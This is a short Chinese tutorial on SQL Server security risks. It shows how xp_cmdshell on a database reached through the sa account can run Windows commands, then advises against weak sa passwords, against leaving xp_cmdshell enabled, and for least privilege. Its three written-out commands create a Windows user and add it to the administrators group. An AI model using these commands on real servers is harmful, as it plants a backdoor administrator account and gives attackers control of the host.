前言
win7 64位系统,sqlserver 2008r2 64位。
使用SQLserver中的扩展存储过程xp_cmdshell执行cmd命令。
借以表达SQL Server的安全问题。
命令实现
打开SQL Server的 “企业管理器”——〉“工具”——〉 “SQL 查询分析器” 。输入要连接的SQL Server的IP地址,连接master库。
xp_cmdshell 'net user woo /add';//添加windows用户
xp_cmdshell 'net user woo password';//设置密码
xp_cmdshell 'net localgroup administrators woo /add';//提升到管理员
安全防范
一、空口令或弱口令
初学者在安装SQL Server时为了省事,SQL Server管理员sa 用的是空口令或弱口令,觉得自己的库是试验数据,没什么用,即使别人连上库也无所谓。殊不知SQL Server的默认用户sa的权限非常巨大,有种观点是sa的权限要大于administrator的权限,也就是说没有限制的sa用户可以做Windows系统管理员所做的任何事。
二、危险的和不必要的存储过程
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。
三、最小权限原则
根据实际需要分配帐号,并赋予仅仅能够满足应用要求和需要的权限。比如,只要查询功能的,那么就使用一个简单的public帐号能够select就可以了。